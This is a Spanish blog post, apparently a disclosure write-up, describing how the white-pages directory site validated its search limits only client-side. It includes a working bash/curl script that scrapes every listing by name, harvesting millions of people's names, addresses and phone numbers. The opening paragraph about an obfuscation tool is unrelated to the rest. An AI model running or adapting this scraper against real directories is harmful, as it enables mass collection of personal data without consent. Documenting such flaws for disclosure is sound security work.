En su primera versión soporta ofuscación mediante Base64, o mediante compresión gzip con un grado de compresión aleatorio. La idea es, en un futuro, incluir más métodos, incluso utilizando algoritmos de cifrado más avanzados, aunque la clave esté en el propio fichero y se utilice en la rutina de descifrado.
Hace unos años se vendía "Infobel", un CD con una base de datos que contenía los nombres, apellidos, dirección postal y teléfono fijo de todos los usuarios de telefonía fija de España y otras ediciones para otros paises de Europa. Esta base de datos se solía utilizar para automatizar contestadores con publicidad y otros fines similares de marketing, además se podían hacer búsquedas inversas. Es decir, dado un número de teléfono fijo, averiguar quién te estaba llamando.
Como Infobel ya no existe por distintos problemas con la ley de protección de datos, a Yago se le ocurrió ver si éramos capaces de hacernos nuestra propia base de datos usando la página web de páginas blancas, ya que había visto que no usaban captchas.
En ese momento me acordé del año pasado cuandoRon de SkullSecurity recorría automáticamente el directorio de Facebook y generaba un curioso diccionario de más de 100 millones de nombres únicos. Más tarde, en mayo de este año, un estudiante repetía la jugada con Google, descargando unos 35 millones de perfiles.
Comentada la idea, me puse a mirar la web, eso sí, sin llegar a guardar los datos en ningún sitio, ya que eso requeriría dar de alta el archivo por contener datos de caracter personal.
Lo primero que observé es que paginas blancasrequiere que se introduzca como mínimo un nombre, apellido o razón social y una provincia.
Si no se meten esos dos valores, mostrará un error similar al siguiente:
Así que como un buen chico, metí Alejandro como prueba en "A Coruña", a ver los resultados que ofrecia.
Vaya, ya tenía 589 Alejandros localizados en A Coruña, la lastima es que solo deja mostrar los 50 primeros, tal y como informa la propia web:
Y una vez avanzas 5 páginas y obtienes los 50 registros, la web cambia y elimina el botón "Siguiente", evitando que obtengamos todos:
Seguro que los más vivos ya os habréis imaginado por dónde van los tiros. ¡Estos datos los valida en el lado del cliente!, y tanto la provincia como el número de página son parámetros que se ingresan en la URL, es decir, que yo cambio de la URL el parámetro "nomprov" y elimino "A Coruña", buscará todos los Alejandros de España. Tal y como muestro para mayor claridad en la siguiente imagen con Hackbar:
El número cambia de los tristes 589 a 29.952 ¡wow!
De esta misma forma, modificando el parámetro "pg" de la URL puedo avanzar y obtener todos los resultados, ya que lo único que hace el botón de "Siguiente" es incrementar en uno ese valor.
Bien, con estos dos "pequeños" fallos ya solo queda programar un algo que haga el trabajo sucio. Buscar muchos nombres y recorrer las páginas.
Como diccionario de nombres en primera instancia se me ocurrió usar los que ya se habían sacado de Facebook, pero 100 millones de nombres, definitivamente, son DEMASIADOS nombres. Así que me acordé delInstituto Nacional de Estadística, que ofrece datos sobre frecuencia de nombres. Sumando los de hombre y mujer, conseguí 16.101 distintos, parecía mucho más acotado que los 100.000.000 de Ron.
Una vez copiados del INE a un fichero, tocaba hacer el script, que pese a que es horrible, funciona:
#!/bin/bash
# Jun 12 02:41:36 CEST 2011 It's time to scrap!
# $1 = archivo con nombres
BURL="http://blancas.paginasamarillas.es/jsp/resultados.jsp?"
for name in `cat $1`; do
PARAM="no=$name&sec=15&tbus=0&idioma=tml_lang&pg=1&pext=null"
count=`curl -s ${BURL}${PARAM}|grep Encontrados | tail -1 |sed -e 's|.*ng> \(.*\)<.*|\1|'`
if [ -z $count ]; then echo "saltando: $name"; continue; fi
echo "encontrados $count de $name"
get=0
fetch=$(( $count / 10 + 1 ))
while [ "$fetch" -gt "$get" ]; do
get=$(( $get + 1 ))
echo "debug: obteniendo $get de $fetch de $name"
PARAMS="no=$name&sec=15&tbus=0&idioma=tml_lang&pg=$get&pext=null"
curl -s ${BURL}${PARAMS} | grep listatel | tee -a $1.out
done
done
Fueron 10 minutos para hacerlo asi que no quiero oír quejas, el output además es aún peor:
Cuando terminé y me sentía realizado, pensé que lo mismo la lista de nombres no era lo suficiente completa, así que se me ocurrió que cuando terminase (con 8 millones de resultados), podría hacer una lista de Apellidos de todos los datos obtenidos, y consultar nuevamente con ese otro nuevo diccionario.
Sumando los resultados de ambas ejecuciones y eliminado los duplicados, finalmente quedarian (supongo) unos 9.7 millones de registros.
Una vez reportado y arreglado, esta es la historia.
